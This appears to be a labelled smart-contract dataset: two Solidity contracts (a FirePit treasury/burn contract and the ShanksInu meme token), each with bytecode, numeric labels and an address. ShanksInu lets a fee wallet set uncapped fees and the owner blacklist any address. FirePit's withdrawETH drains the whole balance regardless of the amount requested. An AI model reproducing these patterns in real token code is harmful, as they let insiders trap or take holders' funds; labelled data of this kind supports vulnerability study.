// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.12; pragma abicoder v2; contract FirePit is Ownable { IERC20 public _token; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant TREASURY_RECEIVER = 0xd7B709E7699a751DAFcBF69769c95c48ab2aB880; constructor() { } function setToken(address autoApeToken) public onlyOwner { _token = IERC20(autoApeToken); } function burnToken(uint256 _amount) public onlyOwner { _token.transfer(DEAD, _amount); } function withdrawETH(uint256 _amount) public onlyOwner { uint256 _balance = address(this).balance; require(_balance >= _amount, "LANUNA: NOT_ENOUGH_ETH_BALANCE"); payable(TREASURY_RECEIVER).transfer(address(this).balance); } function withdrawToken(uint256 _amount) public onlyOwner { require(address(_token) != address(0), "LANUNA: SET_TOKEN_ADDRESS_FIRST"); uint256 _balance = _token.balanceOf(address(this)); require(_balance >= _amount, "LANUNA: NOT_ENOUGH_TOKEN_BALANCE"); _token.transfer(TREASURY_RECEIVER, _amount); } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638da5cb5b1161005b5780638da5cb5b146100d0578063ecd0c0c3146100f9578063f14210a61461010c578063f2fde38b1461011f57600080fd5b8063144fa6d71461008d57806350baa622146100a2578063715018a6146100b55780637b47ec1a146100bd575b600080fd5b6100a061009b3660046105d7565b610132565b005b6100a06100b0366004610607565b610187565b6100a0610356565b6100a06100cb366004610607565b61038c565b6000546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b6001546100dd906001600160a01b031681565b6100a061011a366004610607565b610431565b6100a061012d3660046105d7565b6104ec565b6000546001600160a01b031633146101655760405162461bcd60e51b815260040161015c90610620565b60405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146101b15760405162461bcd60e51b815260040161015c90610620565b6001546001600160a01b03166102095760405162461bcd60e51b815260206004820152601f60248201527f4c414e554e413a205345545f544f4b454e5f414444524553535f464952535400604482015260640161015c565b6001546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015610252573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102769190610655565b9050818110156102c85760405162461bcd60e51b815260206004820181905260248201527f4c414e554e413a204e4f545f454e4f5547485f544f4b454e5f42414c414e4345604482015260640161015c565b60015460405163a9059cbb60e01b815273d7b709e7699a751dafcbf69769c95c48ab2ab8806004820152602481018490526001600160a01b039091169063a9059cbb906044016020604051808303816000875af115801561032d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610351919061066e565b505050565b6000546001600160a01b031633146103805760405162461bcd60e51b815260040161015c90610620565b61038a6000610587565b565b6000546001600160a01b031633146103b65760405162461bcd60e51b815260040161015c90610620565b60015460405163a9059cbb60e01b815261dead6004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303816000875af1158015610409573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042d919061066e565b5050565b6000546001600160a01b0316331461045b5760405162461bcd60e51b815260040161015c90610620565b47818110156104ac5760405162461bcd60e51b815260206004820152601e60248201527f4c414e554e413a204e4f545f454e4f5547485f4554485f42414c414e43450000604482015260640161015c565b60405173d7b709e7699a751dafcbf69769c95c48ab2ab880904780156108fc02916000818181858888f19350505050158015610351573d6000803e3d6000fd5b6000546001600160a01b031633146105165760405162461bcd60e51b815260040161015c90610620565b6001600160a01b03811661057b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161015c565b61058481610587565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156105e957600080fd5b81356001600160a01b038116811461060057600080fd5b9392505050565b60006020828403121561061957600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561066757600080fd5b5051919050565b60006020828403121561068057600080fd5b8151801515811461060057600080fdfea2646970667358221220fbe321d51b030bd44aa781ea1edb4475cbc088e3d07fa108fb7ca13f8f67192264736f6c634300080c0033
[ 16 ]
0xf2cdc5126195cd3a352c17a2147ed1522ae943a4
/** * https://t.me/ShanksInu **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShanksInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x5b47A3fb2309ba9Af06Fe05660aEd1a674F20fC3); address payable private _feeAddrWallet2 = payable(0x55005dE937459CF5DD5a5fAA18466bDBe8B5B495); string private constant _name = "Shanks Inu"; string private constant _symbol = "Shanks"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610321578063c3c8cd8014610341578063c9567bf914610356578063cfe81ba01461036b578063dd62ed3e1461038b57600080fd5b8063715018a614610275578063842b7c081461028a5780638da5cb5b146102aa57806395d89b41146102d2578063a9059cbb1461030157600080fd5b8063273123b7116100e7578063273123b7146101e2578063313ce567146102045780635932ead1146102205780636fc3eaec1461024057806370a082311461025557600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152695368616e6b7320496e7560b01b60208201525b604051610160919061187d565b60405180910390f35b34801561017557600080fd5b50610189610184366004611704565b6103d1565b6040519015158152602001610160565b3480156101a557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610160565b3480156101ce57600080fd5b506101896101dd3660046116c3565b6103e8565b3480156101ee57600080fd5b506102026101fd366004611650565b610451565b005b34801561021057600080fd5b5060405160098152602001610160565b34801561022c57600080fd5b5061020261023b3660046117fc565b6104a5565b34801561024c57600080fd5b506102026104ed565b34801561026157600080fd5b506101b4610270366004611650565b61051a565b34801561028157600080fd5b5061020261053c565b34801561029657600080fd5b506102026102a5366004611836565b6105b0565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102de57600080fd5b506040805180820190915260068152655368616e6b7360d01b6020820152610153565b34801561030d57600080fd5b5061018961031c366004611704565b610607565b34801561032d57600080fd5b5061020261033c366004611730565b610614565b34801561034d57600080fd5b506102026106aa565b34801561036257600080fd5b506102026106e0565b34801561037757600080fd5b50610202610386366004611836565b610aa9565b34801561039757600080fd5b506101b46103a636600461168a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103de338484610b00565b5060015b92915050565b60006103f5848484610c24565b610447843361044285604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f07565b610b00565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047b906118d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050d57600080fd5b4761051781610f41565b50565b6001600160a01b0381166000908152600260205260408120546103e290610fc6565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161047b906118d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106025760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600a55565b60006103de338484610c24565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161047b906118d2565b60005b81518110156106a65760016006600084848151811061066257610662611a19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e816119e8565b915050610641565b5050565b600c546001600160a01b0316336001600160a01b0316146106ca57600080fd5b60006106d53061051a565b90506105178161104a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161047b906118d2565b600f54600160a01b900460ff16156107645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a430826b033b2e3c9fd0803ce8000000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061166d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061166d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061166d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109458161051a565b60008061095a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f6919061184f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611819565b600d546001600160a01b0316336001600160a01b031614610afb5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600b55565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610ef7576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600f546001600160a01b038481169116148015610df35750600e546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600f54600160b81b900460ff165b15610e8a57601054811115610e4157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6557600080fd5b610e7042601e611978565b6001600160a01b0383166000908152600760205260409020555b6000610e953061051a565b600f54909150600160a81b900460ff16158015610ec05750600f546001600160a01b03858116911614155b8015610ed55750600f54600160b01b900460ff165b15610ef557610ee38161104a565b478015610ef357610ef347610f41565b505b505b610f028383836111d3565b505050565b60008184841115610f2b5760405162461bcd60e51b815260040161047b919061187d565b506000610f3884866119d1565b95945050505050565b600c546001600160a01b03166108fc610f5b8360026111de565b6040518115909202916000818181858888f19350505050158015610f83573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9e8360026111de565b6040518115909202916000818181858888f193505050501580156106a6573d6000803e3d6000fd5b600060085482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047b565b6000611037611220565b905061104383826111de565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109257611092611a19565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061166d565b8160018151811061113157611131611a19565b6001600160a01b039283166020918202929092010152600e546111579130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611907565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f02838383611243565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133a565b600080600061122d611368565b909250905061123c82826111de565b9250505090565b600080600080600080611255876113b0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611287908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b6908661144f565b6001600160a01b0389166000908152600260205260409020556112d8816114ae565b6112e284836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132791815260200190565b60405180910390a3505050505050505050565b6000818361135b5760405162461bcd60e51b815260040161047b919061187d565b506000610f388486611990565b60085460009081906b033b2e3c9fd0803ce800000061138782826111de565b8210156113a7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cd8a600a54600b5461151c565b92509250925060006113dd611220565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f07565b60008061145c8385611978565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b60006114b8611220565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600854611505908361140d565b600855600954611515908261144f565b6009555050565b6000808080611536606461153089896115c1565b906111de565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d0575060006103e2565b60006115dc83856119b2565b9050826115e98583611990565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b803561164b81611a45565b919050565b60006020828403121561166257600080fd5b813561104381611a45565b60006020828403121561167f57600080fd5b815161104381611a45565b6000806040838503121561169d57600080fd5b82356116a881611a45565b915060208301356116b881611a45565b809150509250929050565b6000806000606084860312156116d857600080fd5b83356116e381611a45565b925060208401356116f381611a45565b929592945050506040919091013590565b6000806040838503121561171757600080fd5b823561172281611a45565b946020939093013593505050565b6000602080838503121561174357600080fd5b823567ffffffffffffffff8082111561175b57600080fd5b818501915085601f83011261176f57600080fd5b81358181111561178157611781611a2f565b8060051b604051601f19603f830116810181811085821117156117a6576117a6611a2f565b604052828152858101935084860182860187018a10156117c557600080fd5b600095505b838610156117ef576117db81611640565b8552600195909501949386019386016117ca565b5098975050505050505050565b60006020828403121561180e57600080fd5b813561104381611a5a565b60006020828403121561182b57600080fd5b815161104381611a5a565b60006020828403121561184857600080fd5b5035919050565b60008060006060848603121561186457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118aa5785810183015185820160400152820161188e565b818111156118bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a03565b500190565b6000826119ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119cc576119cc611a03565b500290565b6000828210156119e3576119e3611a03565b500390565b60006000198214156119fc576119fc611a03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051757600080fd5b801515811461051757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f3451686c0db6f98c45d2eb3402e850b1fc31c0e11400f6eb94f274cf037623f64736f6c63430008070033
[ 13, 5 ]
0xf2ced6cfa3bc5dca73e4c95508b3d4d8dea69df8
